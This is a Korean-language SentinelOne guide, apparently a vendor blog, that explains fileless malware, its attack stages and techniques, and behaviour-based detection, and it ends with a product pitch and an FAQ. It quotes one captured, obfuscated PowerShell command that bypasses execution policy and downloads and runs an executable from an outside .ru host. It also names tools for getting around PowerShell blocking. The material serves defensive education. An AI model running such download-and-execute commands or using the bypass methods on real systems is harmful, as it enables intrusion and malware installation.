파일리스 멀웨어는 기존 파일 없이 작동하여 탐지가 어렵습니다. 본 가이드는 파일리스 멀웨어의 작동 방식, 감염 방법 및 조직에 미치는 위험을 살펴봅니다.
이 은밀한 위협에 대응하기 위한 효과적인 탐지 및 방지 전략을 알아보세요. 파일리스 멀웨어에 대한 이해는 사이버 보안 방어 체계를 강화하는 데 필수적입니다.
SentinelOne의 2018년 상반기 기업 위험 지수 보고서 에 따르면 파일리스 기반 공격은 1월부터 6월까지 94% 증가했습니다. PowerShell 공격은 2018년 5월 엔드포인트 1,000개당 2.5건에서 6월에는 5.2건으로 급증했습니다.
지난 몇 년 동안, 위협 행위자들는 매우 효과적인 대안으로 파일리스 악성코드를 점점 더 많이 사용하기 시작했습니다.

파일리스 멀웨어란 무엇인가?
파일리스 멀웨어는 엔드포인트 파일 시스템에 이미 존재하는 실행 파일 외에 추가 실행 파일을 필요로 하지 않는 악성 코드입니다. 일반적으로 실행 중인 프로세스에 주입되어 RAM 내에서만 실행됩니다. 이로 인해 기존 안티바이러스 소프트웨어 및 기타 엔드포인트 보안 제품이 탐지하거나 방지하기 어렵게 만듭니다.
미국, 캐나다, 및 유럽에 영향을 미친 사례 중 하나는, 공격자들이 스팸 캠페인을 통해 악성 워드 문서를 배포한 사건입니다. 이 문서는 열리면 매크로를 실행하여 파일 없는 악성코드를 전달했습니다. 이러한 경우 '파일 없음'이란 공격자들이 Windows PowerShell 을 활용해 실행 파일을 디스크에 기록하지 않고(일반 악성코드 스캐너에 탐지될 수 있음) 메모리에 직접 로드한다는 점을 의미합니다.
실행 파일을 사용하지 않고 장치에서 코드를 실행하는 다른 방법도 다수 존재합니다. 이들은 종종 운영체제가 제공하고 신뢰하는 시스템 프로세스를 활용합니다.
몇 가지 예시는 다음과 같습니다:
- VBScript
 - JScript
 - 배치 파일
 - PowerShell
 - Windows Management Instrumentation (WMI)
 - Mshta 및 rundll32 (또는 악성 코드 실행이 가능한 기타 Windows 서명 파일)
 
문서에 숨겨진 악성코드 역시 파일리스 기반 공격입니다
시스템 파일을 이용해 악성 코드를 실행하는 파일리스 기반 공격 외에도, 문서 내에 숨겨진 악성코드는 흔히 볼 수 있으며 파일리스 공격으로 간주됩니다. 이러한 데이터 파일은 코드 실행이 허용되지 않지만, Microsoft Office 및 PDF 리더에는 공격자가 코드 실행 권한을 획득하기 위해 악용할 수 있는 취약점이 존재합니다. 예를 들어, 감염된 문서는 악성 PowerShell 명령을 실행할 수 있습니다. 또한 매크로 및 DDE 공격 등이 있습니다.
파일리스 악성코드는 어떻게 작동하나요?
현장에서 가장 흔히 발견되는 파일리스 멀웨어의 형태는 피해자가 이메일 내 스팸 링크나 사기 웹사이트를 클릭하는 경우입니다.
해당 링크나 웹사이트는 플래시 애플리케이션을 로드한 후 관련 익스플로잇을 실행하여 사용자의 기기를 감염시킵니다. 이후 멀웨어는 셸코드를 사용하여 명령을 실행함으로써 페이로드를 메모리 내에서만 다운로드하고 실행할 수 있게 합니다.
이는 악성코드의 활동 흔적이 전혀 남지 않음을 의미합니다. 해커의 목적에 따라, 이 악성코드는 민감한 데이터를 유출하거나 피해자의 컴퓨터에 손상을 입히거나, 데이터 도난 및 암호화와 같은 다른 유해한 행동을 수행할 수 있습니다.
해커들은 일반적으로 신뢰할 수 있거나 친숙한 출처로 위장하여 피해자가 제공하는 링크를 클릭하도록 유도합니다. 특히 피해자가 회사 직원이나 임원이 연락한다고 믿는 공식적인 환경에서 이 방법은 매우 효과적입니다.
여기서 핵심은 이러한 유형의 악성코드 공격이 성공하기 위해 사회공학적 기법에 의존한다는 점입니다.
파일리스 악성코드의 특징
이 유형의 악성 소프트웨어는 컴퓨터에 이미 존재하는 프로그램을 활용합니다. 그 행동은 휴리스틱 스캐너로 탐지할 수 없으며 식별 가능한 코드나 시그니처가 없습니다.
또한 파일리스 악성코드는 시스템 메모리 내에 상주합니다.
작동하기 위해 감염된 운영체제의 프로세스를 악용합니다. 더 진화된 파일리스 악성코드는 다른 유형의 악성코드와 결합되어 복잡한 사이버 공격을 용이하게 할 수도 있습니다. 적절한 상황에서는 화이트리스트와 샌드박싱을 모두 우회할 수도 있습니다.
파일리스 악성코드 공격의 단계
파일리스 악성코드 공격은 작동 방식이 상당히 독특합니다. 그 작동 방식을 이해하면 조직이 향후 파일리스 악성코드 공격으로부터 보호하는 데 도움이 될 수 있습니다. 필수 지식을 살펴보겠습니다.
1. 악성 코드가 시스템에 접근하는 단계
위협 행위자가 악성 코드 공격을 완전히 수행하기 전에, 먼저 피해자의 시스템에 접근해야 합니다. 이는 종종 피싱 이메일이나 사회공학적 기법을 사용합니다. 접근에 성공한 후에는 공격 프로세스의 추가 단계를 실행할 수 있습니다.
피해자 시스템에 접근하는 또 다른 방법은 유출된 인증 정보를 이용하는 것입니다. 해커는 자격 증명을 탈취함으로써 시스템에 자유롭게 접근할 수 있으며, 이 정보를 활용해 다른 환경에도 접근할 수 있습니다. 예를 들어, 시스템에 대한 초기 접근 권한만으로는 필요한 권한을 얻지 못할 수 있지만, 해당 데이터를 획득하기 위한 자격 증명을 확보할 수 있습니다.
2. 프로그램의 지속성 확보
접근 권한 획득 후, 악성코드는 해커가 자유롭게 시스템에 접근할 수 있도록 백도어를 구축합니다. 이 조치의 주요 목적은 장기간에 걸쳐 정보 수집을 지속하기 위해 장치에 대한 접근 권한을 상실하지 않도록 하는 것입니다.
3. 데이터 유출
최종 단계는 데이터 유출입니다. 공격자가 필요한 정보를 찾은 후, 해당 데이터는 다른 환경으로 유출됩니다. 이를 통해 공격자는 장기간에 걸쳐 탐지되지 않고 민감한 데이터를 확보할 수 있으며, 필요할 때마다 반복적으로 수행할 수 있습니다.
일반적인 파일리스 악성코드 기법
다양한 기법에 대한 깊은 이해는 향후 공격을 식별하는 방법을 배우는 데 도움이 됩니다. 탐지를 회피하는 능력을 향상시키기 위해 파일리스 기능을 활용할 수 있는 여섯 가지 유형의 악성코드는 다음과 같습니다:
1. 메모리 상주형 악성코드
공격자는 실제 Windows 파일의 메모리 공간을 이용해 활성화될 때까지 잠복 상태로 유지되는 악성 코드를 로드할 수 있습니다. 파일리스의 특징은 표준 파일 스캔 방식의 안티바이러스 소프트웨어로는 이 악성코드를 탐지할 수 없다는 점입니다.
2. 루트킷
루트킷은 파일이 아닌 커널에 존재하기 때문에 탐지를 회피하는 강력한 능력을 지닙니다. 100% 파일리스이지만 진화하는 특성상 이 범주에 포함됩니다.
3. Windows 레지스트리 악성코드
앞서 언급한 예시와 마찬가지로, 이러한 공격은 다양한 애플리케이션의 저수준 설정을 저장하는 Windows 레지스트리 데이터베이스를 악용합니다. 악성코드는 파일을 통해 실행되는 코드에 의존하지만, 이 파일은 실행 후 자동으로 삭제되도록 설정되어 있어 악성코드가 파일 없이 지속될 수 있게 합니다.
4. 허위 자격 증명
이름에서 알 수 있듯이, 이 공격은 합법적인 사용자의 유출된 인증 정보(즉, 도난당한 사용자 이름과 비밀번호)를 사용하는 것을 포함합니다. 해커가 시스템에 접근한 후, 그들은 셸코드 를 실행하여 시스템 공격을 진행합니다.
극단적인 경우, 컴퓨터에 지속적인 접근 권한을 확보하기 위해 레지스트리 내에 코드를 심기도 합니다.
5. 파일리스 랜섬웨어
이 유형의 악성코드에 익숙하지 않은 분들을 위해 설명하자면, 랜섬웨어는 해커가 피해자로부터 돈을 갈취하기 위해 사용하는 악성 프로그램입니다. 보통 민감한 데이터를 암호화한 후, 특정 금액(주로 암호화폐로)을 지불하지 않으면 삭제하겠다고 협박합니다.
이러한 파일리스 공격의 경우, 해커는 시스템 디스크에 데이터를 기록하지 않고도 공격을 수행할 수 있습니다. 이로 인해 피해가 발생한 후에는 이미 늦은 경우가 많습니다.
6. 익스플로잇 키트
위협 행위자들은 익스플로잇 키트라고 불리는 도구 모음을 사용하여 피해자 컴퓨터의 취약점을 악용합니다. 이러한 공격은 일반적으로 전형적인 파일리스 악성코드 공격과 마찬가지로 시작되며, 이는 종종 사용자가 사기성 링크를 클릭하도록 유도한다는 것을 의미합니다.
프로그램이 시스템에 침투하면 익스플로잇 키트는 시스템을 스캔하여 악용할 취약점을 파악한 후 배포할 특정 익스플로잇 세트를 구성합니다. 종종 이 악성코드는 탐지되지 않은 채 시스템과 데이터에 광범위한 접근 권한을 획득합니다.
기업의 문제점
파일리스 악성코드가 특히 위협적인 이유 중 하나는 보안 제품이 이러한 공격에 활용되는 시스템 파일이나 소프트웨어를 단순히 차단할 수 없다는 점입니다. 예를 들어, 보안 관리자가 PowerShell을 차단하면 IT 유지보수에 차질이 생깁니다. Office 문서나 Office 매크로를 차단하는 경우도 마찬가지이며, 이는 비즈니스 연속성에 훨씬 더 큰 영향을 미칠 가능성이 높습니다.
낮은 메모리 사용량과 스캔 대상이 되는 "외부" 실행 파일의 부재로 인해 기존 AV 및 기타 엔드포인트 보안 제품이 이러한 유형의 공격을 탐지하거나 방지하기 어렵습니다.
벤더의 문제점
기업들은 파일리스 악성코드에 대한 효과적인 보호 수단이 부족하면 조직이 극도로 취약해질 수 있음을 인지하고 있습니다. 이에 따라 보안 벤더들은 이 증가하는 위협에 대응해야 한다는 압박을 받게 되었고, "파일리스 공격" 대응 능력을 주장(또는 시연)하기 위해 온갖 종류의 패치를 만들어냈습니다.
안타깝게도 이러한 문제 해결 시도 대부분은 이상적이지 못합니다. 다음은 몇 가지 표준 솔루션과 그 한계점입니다:
PowerShell 차단
앞서 언급한 바와 같이, PowerShell은 IT 팀에게 필수적인 도구가 되었으며, 기본 명령줄 유틸리티로서 마이크로소프트의 구형 cmd 도구를 대체했습니다. 이를 차단하면 IT 팀에 심각한 혼란을 초래할 것입니다. 더 중요한 것은 방어적 관점에서 볼 때, 이를 차단하는 것은 무의미하다는 점입니다: 공개된 자료에는 PowerShell 실행 정책을 PowerShell 실행 정책을 우회하는 방법과 PowerShell.exe 차단을 우회하는 다른 사용 방법을 설명하는 공개 자료가 많습니다. 몇 가지만 예로 들면:
- PowerShdll를 사용한 간단한 rundll32 명령으로 DLL만 포함된 PowerShell 실행
 - PS2EXE와 같은 도구를 사용하여 PowerShell 스크립트를 다른 EXE 파일로 변환하기
 - 자체 PowerShell.exe 복사본을 사용하거나 로컬 PowerShell을 수정하여 보안 제품의 PowerShell 탐지를 회피하는 악성코드 활용
 - PNG 파일의 픽셀에 PowerShell 스크립트를 삽입하고 Invoke-PSImage 를 사용하여 이를 실행하는 원라인 명령어를 생성합니다.
 
MS Office 매크로 파일 차단
이러한 공격 경로를 제거하기 위해 Microsoft는 사이트 설정으로 매크로를 비활성화하는 옵션을 추가했습니다(Office 2016부터). 그러나 대부분의 환경에서는 여전히 매크로를 허용하므로, 보안 업체들은 주로 두 가지 방법으로 이 문제를 해결해 왔습니다:
- 전반적인 매크로 차단 – 이는 매크로 없이도 운영 가능한 조직을 위해 Microsoft가 제공하는 것과 동일한 제한을 적용합니다.
 - 정적 분석 또는 평판 검사를 위한 매크로 코드 추출 – 일부 경우에 효과적일 수 있습니다. 그러나 이 접근법의 단점은, 특히 이전에 본 적 없는 악성 매크로의 경우 허용 가능한 오탐률 내에서 해당 코드를 분류하고 탐지하기가 극히 어렵다는 점입니다. 또한, 정상 코드와 악성 코드의 저장소가 거의 존재하지 않습니다. 또 다른 옵션은 공격에서 흔히 발견되는 공통 기능을 찾는 것이지만, 이 역시 변동성이 크고 광범위하게 분류되어 있지 않습니다.
 
서버 측 탐지
일부 제품은 에이전트 측 모니터링만 사용하며 서버나 클라우드에서 결정을 내립니다. 이 접근 방식은 엔드포인트에서 이루어지지 않는 모든 탐지와 동일한 단점을 가집니다. 주로 작동하기 위해서는 연결성이 필요하며, 에이전트가 서버의 응답을 기다려야만 행동할 수 있기 때문에 예방은 불가능합니다.&
파일리스 악성코드 탐지 방법
파일리스 악성코드는 기존 시그니처 기반 탐지, 화이트리스트, 샌드박싱 보안 방식을 회피할 수 있어 기존 안티바이러스 소프트웨어 및 레거시 사이버 보안 제품이 탐지하기 가장 어려운 위협 중 하나입니다.
조직을 파일리스 멀웨어로부터 안전하게 지키는 좋은 방법은 위협 헌팅 팀이 멀웨어를 적극적으로 탐색하도록 하는 것입니다.&
공격 지표는 조직 환경 내에서 위장되고 혼합됩니다. 시스템에 나타나는 방식은 다양하며, 파일리스 멀웨어를 발견하려면 위협에 대한 깊은 이해가 필요합니다.
정체성이 아닌 행동
핵심은 머신 내 파일을 검사하기보다 엔드포인트에서 실행 중인 프로세스의 행동을 관찰하는 것입니다. 이는 악성코드 변종이 방대하고 지속적으로 증가함에도 불구하고, 그 작동 방식이 매우 유사하기 때문에 효과적입니다. 악성 파일의 외형적 변형 가능성에 비해 악성코드의 행동 패턴은 훨씬 적어, 이 접근법이 예방 및 탐지에 적합합니다.
SentinelOne은 정적 분석 및 행동 기반 AI를 포함한 여러 엔진을 사용하지만, 행동 기반 접근 방식은 공격 경로에 구애받지 않기 때문에 이러한 유형의 공격을 탐지하고 방지하는 데 매우 효과적입니다.
이 접근법의 효과는 WannaCry 캠페인 사례에서 입증되었는데, SentinelOne은 랜섬웨어가 실제 유포되기 전에 고객을 보호할 수 있었습니다.
SentinelOne이 파일리스 멀웨어를 차단하는 방법
SentinelOne은 에이전트 측의 모든 활동을 커널 수준에서 모니터링하여 악성 활동과 정상 활동을 구분합니다. 에이전트가 이미 사용자, 프로세스, 명령줄 인수, 레지스트리, 디스크 상의 파일, 외부 통신 등 전체 컨텍스트를 보유하고 있으므로, 모든 악성 활동을 완전히 차단할 수 있습니다. SentinelOne은 모든 악의적인 행위를 롤백하여 사용자가 깨끗한 장치에서 작업할 수 있도록 합니다.
본질적으로 SentinelOne은 네트워크 전체에 걸쳐 악성 코드로부터 네트워크를 깨끗하게 유지하는 데 따르는 숨겨진 비용을 없앨 수 있게 합니다.
액티브 콘텐츠
이 접근 방식을 효과적으로 구현하기 위해 SentinelOne은 악성 활동의 근본 원인에 책임을 규명하는 '스토리라인(StoryLine)' 개념을 활용합니다.
예를 들어, 사용자가 Outlook을 통해 악성 첨부 파일을 다운로드하고, 이 파일이 디스크의 파일을 암호화하려고 시도한다고 가정해 보겠습니다. 이 시나리오에서 부모 프로세스인 Outlook을 비난하고 격리하는 것은 악성 활동의 진정한 근원을 놓치는 것입니다. 대신 Outlook은 완화 대상이 아닌 포렌식 데이터의 출처로 포함되어야 합니다. 그러나 추가로 생성된 파일, 생성된 레지스트리 키 또는 기타 유해한 행동과 관계없이 전체 위협 그룹을 완화하는 것이 바람직합니다.
StoryLine를 사용하면 파일 유무와 상관없이 특정 악성 흐름의 근본 원인을 파악하고 책임을 규명할 수 있으며, 고객이 해당 사건을 정확하게 처리할 수 있도록 지원합니다.
 탐지 및 완화 절차 안내
사용자가 암호화된 이메일을 통해 워드 문서를 수신한 시나리오를 살펴보겠습니다. 사용자는 발신자를 알고 있으므로 문서를 데스크톱에 다운로드하여 엽니다. 파일을 열자마자 다음과 같은 내용이 표시됩니다:
 "예"를 클릭하면 공격이 시작됩니다. SentinelOne 에이전트가 무엇을 탐지하는지 살펴보겠습니다(이 예시에서는 탐지 모드로 실행 중).
 관리자는 이 사건에 연루된 모든 요소가 공격에 어떻게 기여했는지 정확히 조사할 수 있습니다.
SentinelOne은 PowerShell 명령을 호출하는 정확한 명령줄을 표시합니다:
-ExECUtiONpOlIcy BYpAsS -NoPROfILE -WInDOWSTYLe HIdDEN (neW-oBJeCT SysTem.NeT.weBcliENT).doWNlOADfilE('http://v32gy.worldnews932.ru/file/nit.nbv','C:UsersadminAppDataRoaming.exE');START-proceSS 'C:UsersadminAppDataRoaming.exE'
 실제 상황에서 SentinelOne 에이전트는 즉시 문제를 완화합니다. 이는 관리자의 별도 조치 없이 자동으로 수행됩니다. 관리자는 SMS, SIEM 또는 이메일로 알림을 받습니다.
 결론
궁극적으로 공격자는 최소한의 노력으로 최대의 성과를 얻기 위해 항상 엔드포인트를 침해하는 가장 짧은 경로를 선택할 것입니다. 파일리스 악성코드는 이를 위한 가장 인기 있는 방법 중 하나로 빠르게 자리 잡고 있으며, 이러한 공격을 방지하기 위해서는 PowerShell과 같은 핵심 기능을 차단하는 것만으로는 충분하지 않습니다. 행동 기반 AI 탐지 및 다층 보안 기술을 기반으로 하는 SentinelOne은 바로 이 점에서 진가를 발휘합니다. 익스플로잇, 매크로 문서, 익스플로잇 키트, PowerShell, PowerSploit, 그리고 제로데이 취약점 로컬에서 차단하면서도 직원들의 일상적인 생산성에 영향을 미치지 않습니다.
데모 요청하기하여 SentinelOne이 파일리스 멀웨어와 제로데이 공격으로부터 어떻게 보호하는지 자세히 알아보세요!
"파일리스 멀웨어 FAQ
파일리스 멀웨어는 메모리 내에서 작동하며 디스크에 저장된 파일에 의존하지 않는 악성 코드입니다. PowerShell이나 WMI 같은 합법적인 도구를 악용하여 공격을 수행하므로 기존 안티바이러스가 탐지할 수 있는 흔적이 거의 남지 않습니다. 공격자는 이를 통해 탐지를 회피하고 원하는 목표를 달성할 때까지 지속성을 유지합니다.
"피싱 이메일이 워드 문서에 악성 매크로를 삽입합니다. 이 매크로는 메모리 내에서 직접 PowerShell 스크립트를 실행하고, 페이로드를 다운로드하며, 백도어를 생성합니다. 이 모든 과정이 디스크에 파일을 저장하지 않고 이루어집니다. 공격은 신뢰받는 시스템 프로세스를 악용하므로 표준 보안 도구가 탐지하기 훨씬 어렵습니다.
"파일리스 멀웨어는 데이터를 훔치고, 랜섬웨어를 배포하며, 백도어를 설치하거나 공격자에게 시스템에 대한 완전한 제어권을 부여할 수 있습니다. 합법적인 프로세스를 사용하고 디스크에 거의 접근하지 않기 때문에 탐지하기 어렵고 메모리에서 오랫동안 생존할 수 있어 공격자가 접근 권한을 유지하거나 네트워크 깊숙이 침투할 수 있습니다.
"일반적인 기법으로는 PowerShell, WMI, Windows 레지스트리 및 매크로를 악용하는 것이 있습니다. 공격자는 파일 작성을 피하기 위해 반사적 DLL 주입, 악성 스크립트, 그리고 현존하는 바이너리(LOLBins)를 사용합니다.
공격자는 예약된 작업이나 메모리 상주형 익스플로잇을 사용할 수 있으므로, 재부팅이나 프로세스 종료 후에는 페이로드가 사라집니다.
"의심스러운 스크립트 활동, PowerShell 또는 WMI의 비정상적 사용, 메모리 이상 현상을 모니터링할 수 있습니다. EDR(엔드포인트 탐지 및 대응) 플랫폼은 명령줄 활동과 프로세스 동작을 기록하여 도움이 됩니다. 파일리스 작업을 암시할 수 있는 새로운 예약 작업, 레지스트리 변경 사항, 예상치 못한 네트워크 연결을 주의 깊게 관찰하십시오.
"시스템이 느리게 실행되거나 메모리에 알 수 없는 프로세스가 나타나거나 이상한 네트워크 트래픽이 발생할 수 있습니다. 예상치 못한 PowerShell 또는 WMI 활동, 새로운 예약 작업 또는 레지스트리 수정이 발견될 수 있습니다. 기존 안티바이러스는 이를 거의 탐지하지 못하므로 행동적 단서와 시스템 불안정성을 확인해야 합니다.
"불필요한 스크립팅 도구를 비활성화하고, 사용자 권한을 제한하며, 모든 소프트웨어를 최신 상태로 유지하십시오. EDR 솔루션을 사용하여 메모리 및 스크립트 사용을 모니터링하십시오. 직원들에게 의심스러운 이메일이나 첨부 파일을 열지 않도록 교육하십시오.
기본적으로 매크로를 차단하고, 비정상적인 행동 및 열린 네트워크 연결에 대해 시스템을 정기적으로 감사하십시오.
"
